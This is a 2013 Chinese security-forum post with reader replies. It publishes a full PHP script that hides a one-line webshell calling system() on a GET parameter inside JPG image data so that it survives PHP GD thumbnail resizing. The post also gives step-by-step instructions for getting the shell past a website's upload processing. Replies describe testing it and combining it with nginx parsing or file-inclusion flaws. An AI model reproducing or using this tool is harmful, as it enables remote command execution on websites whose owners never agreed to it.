当前位置:WooYun(白帽子技术社区) >> php >> 突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG

突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG

livers (如梦似幻) | 2013-07-26 15:07

之前有人发布了 利用PNG 图片上述压缩函数的方法 原理利用
PNG的结构IDAT chunks填充一句话webshell,并进行一套取模运算  详见:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

但是受限于  图像的尺寸 必须320×320 且必须是PNG格式



那JPG怎么办

神奇的老外 提出了列方法


<?php
        /*

        The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
        caused by PHP functions imagecopyresized() and imagecopyresampled().
        It is necessary that the size and quality of the initial image are the same as those of the processed
        image.

        1) Upload an arbitrary image via secured files upload script
        2) Save the processed image and launch:
        php jpg_payload.php <jpg_name.jpg>

        In case of successful injection you will get a specially crafted image, which should be uploaded again.

        Since the most straightforward injection method is used, the following problems can occur:
        1) After the second processing the injected data may become partially corrupted.
        2) The jpg_payload.php script outputs "Something's wrong".
        If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
        initial image.

        Sergey Bobrov @Black2Fan.

        See also:
        https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

        */

        $miniPayload = '<?=system($_GET[c]);?>';

        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
        }
      
        if(!isset($argv[1])) {
                die('php jpg_payload.php <jpg_name.jpg>');
        }

        set_error_handler("custom_error_handler");

        for($pad = 0; $pad < 1024; $pad++) {
                $nullbytePayloadSize = $pad;
                $dis = new DataInputStream($argv[1]);
                $outStream = file_get_contents($argv[1]);
                $extraBytes = 0;
                $correctImage = TRUE;

                if($dis->readShort() != 0xFFD8) {
                        die('Incorrect SOI marker');
                }

                while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
                        $marker = $dis->readByte();
                        $size = $dis->readShort() - 2;
                        $dis->skip($size);
                        if($marker === 0xDA) {
                                $startPos = $dis->seek();
                                $outStreamTmp =
                                        substr($outStream, 0, $startPos) .
                                        $miniPayload .
                                        str_repeat("\0",$nullbytePayloadSize) .
                                        substr($outStream, $startPos);
                                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                                if($extraBytes !== 0) {
                                        while((!$dis->eof())) {
                                                if($dis->readByte() === 0xFF) {
                                                        if($dis->readByte !== 0x00) {
                                                                break;
                                                        }
                                                }
                                        }
                                        $stopPos = $dis->seek() - 2;
                                        $imageStreamSize = $stopPos - $startPos;
                                        $outStream =
                                                substr($outStream, 0, $startPos) .
                                                $miniPayload .
                                                substr(
                                                        str_repeat("\0",$nullbytePayloadSize).
                                                                substr($outStream, $startPos, $imageStreamSize),
                                                        0,
                                                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                                                substr($outStream, $stopPos);
                                } elseif($correctImage) {
                                        $outStream = $outStreamTmp;
                                } else {
                                        break;
                                }
                                if(checkImage('payload_'.$argv[1], $outStream)) {
                                        die('Success!');
                                } else {
                                        break;
                                }
                        }
                }
        }
        unlink('payload_'.$argv[1]);
        die('Something\'s wrong');

        function checkImage($filename, $data, $unlink = FALSE) {
                global $correctImage;
                file_put_contents($filename, $data);
                $correctImage = TRUE;
                imagecreatefromjpeg($filename);
                if($unlink)
                        unlink($filename);
                return $correctImage;
        }

        function custom_error_handler($errno, $errstr, $errfile, $errline) {
                global $extraBytes, $correctImage;
                $correctImage = FALSE;
                if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
                        if(isset($m[1])) {
                                $extraBytes = (int)$m[1];
                        }
                }
        }

        class DataInputStream {
                private $binData;
                private $order;
                private $size;

                public function __construct($filename, $order = false, $fromString = false) {
                        $this->binData = '';
                        $this->order = $order;
                        if(!$fromString) {
                                if(!file_exists($filename) || !is_file($filename))
                                        die('File not exists ['.$filename.']');
                                $this->binData = file_get_contents($filename);
                        } else {
                                $this->binData = $filename;
                        }
                        $this->size = strlen($this->binData);
                }

                public function seek() {
                        return ($this->size - strlen($this->binData));
                }

                public function skip($skip) {
                        $this->binData = substr($this->binData, $skip);
                }

                public function readByte() {
                        if($this->eof()) {
                                die('End Of File');
                        }
                        $byte = substr($this->binData, 0, 1);
                        $this->binData = substr($this->binData, 1);
                        return ord($byte);
                }

                public function readShort() {
                        if(strlen($this->binData) < 2) {
                                die('End Of File');
                        }
                        $short = substr($this->binData, 0, 2);
                        $this->binData = substr($this->binData, 2);
                        if($this->order) {
                                $short = (ord($short[1]) << 8) + ord($short[0]);
                        } else {
                                $short = (ord($short[0]) << 8) + ord($short[1]);
                        }
                        return $short;
                }

                public function eof() {
                        return !$this->binData||(strlen($this->binData) === 0);
                }
        }
?>


http://pastebin.com/3cznqi8P
具体方法 时:
1.  你先要 上传你想要构造的图片马原片
2.  等网站生成完缩略图下载下来
3.  用上述脚本 生成带图片的 木马
4.  重新上传到网站     结束

这个也要看运气成分


drops 里面园长MM说喜欢看我的图像,我会告诉你这图像是可以的。

分享到:
  1. 1#
    回复此人 感谢
    livers (如梦似幻) | 2013-07-26 15:08

    @GaRY  look

  2. 2#
    回复此人 感谢
    VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10|@齐迹@小胖子@z7y@nauscript|昨晚做梦梦见了一个ecshop注射0day,醒来后忘记在哪了。|预留广告位) | 2013-07-26 15:10

    好牛逼的思路

  3. 3#
    回复此人 感谢
    livers (如梦似幻) | 2013-07-26 15:11

    @VIP 小学生 两秒 看完了??

  4. 4#
    回复此人 感谢
    楼上是马甲 | 2013-07-26 15:12

    mark

  5. 5#
    回复此人 感谢
    M0nster (ส็็็็็็็็็็็็็็็็็็็็็็็http://xiix.ml/ XSS PLATFORM‮)ส้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้้) | 2013-07-26 15:13

    mark

  6. 6#
    回复此人 感谢
    HRay (018) | 2013-07-26 16:00

    连压缩图片都不安全了,现实真残酷

  7. 7#
    回复此人 感谢
    园长 (喵~) | 2013-07-26 16:10

    哥,你邪恶了,难道我第一眼看到的不是你的头像而是你头像里面蕴含的那段webshell?
    其实我是想说每次看到你头像都有一种超神的感觉。

  8. 8#
    回复此人 感谢
    livers (如梦似幻) | 2013-07-26 16:45

    @园长  你的javaweb系列让我想到不少思路,继续啊

  9. 9#
    回复此人 感谢
    园长 (喵~) | 2013-07-26 17:23

    @livers 老大有什么奇淫绝技分享下啊。

  10. 10#
    回复此人 感谢
    流影 (白帽子是啥?) | 2013-07-26 17:35

    。。。好厉害的样子

  11. 11#
    回复此人 感谢
    nauscript (Those who cultivated with their tears will finally cheer with harvest.) | 2013-07-26 17:53

    @流影 吓 还没走?!

  12. 12#
    回复此人 感谢
    流影 (白帽子是啥?) | 2013-07-26 18:12

    @nauscript 汗  不至于把你 ~

  13. 13#
    回复此人 感谢
    z7y (小胖子首席鉴黄师) | 2013-07-27 02:56

    求继续...这思路叼炸天了

  14. 14#
    回复此人 感谢
    核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-07-27 08:45

    乌云之前讨论过这个:http://zone.wooyun.org/content/1284

  15. 15#
    回复此人 感谢
    insight-labs (Root Yourself in Success) | 2013-07-27 09:55

    那也得找到lfi才能利用啊

  16. 16#
    回复此人 感谢
    gery | 2013-07-27 13:08

    实测真的吧一句话写进去了,可以配合nginx解析漏洞

  17. 17#
    回复此人 感谢
    有妹子送上 | 2013-07-27 13:10

    mark

  18. 18#
    回复此人 感谢
    livers (如梦似幻) | 2013-07-27 22:58

    @核攻击 嗯 这两者不一样 这个jpg  并且不再局限与320*320  已经进了一大步

  19. 19#
    回复此人 感谢
    livers (如梦似幻) | 2013-07-27 22:59

    @insight-labs 不知道是不是瞌睡龙  我更在乎的是这篇文章实现了之前讨论的一些不可能。

  20. 20#
    回复此人 感谢
    昵称 (</textarea>'"><script src) | 2013-07-28 20:56

    各种图片都是something's wrong.

  21. 21#
    回复此人 感谢
    紫藤居士 | 2013-08-01 20:50

    测试半天,只有一张图片上传后提示语法错误的看了下只写进去半句一句话,其他图片都上传被破坏了,难道是我RP实在太差了?

  22. 22#
    回复此人 感谢
    Zym (新人报道~~) | 2013-10-09 09:09

    @流影 吓  还没走?

  23. 23#
    回复此人 感谢
    Jacks (https://royalhack.ru) | 2013-11-13 05:19

    为什么 会提示 这个错误?

    D:\wamp\php>php jpg_payload.php 123.jpg

    Parse error: syntax error, unexpected T_STRING in D:\wamp\php\jpg_payload.php o
    line 28

    D:\wamp\php>

  24. 24#
    回复此人 感谢
    Master (小菜一枚) | 2013-12-01 17:26

    Mark,

  25. 25#
    回复此人 感谢
    tzn | 2013-12-03 13:21

    有时间研究一下 马下先

  26. 26#
    回复此人 感谢
    x1aoh4i | 2013-12-03 20:48

    Mark

  27. 27#
    回复此人 感谢
    also (阿里山的姑娘没水冲凉) | 2013-12-04 00:07

    之前我也遇到过缩放的,分析了一下缩放后的文件,发现前面的一些没有经过处理,直接插入马儿,还自动修复了图片,果断插入

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录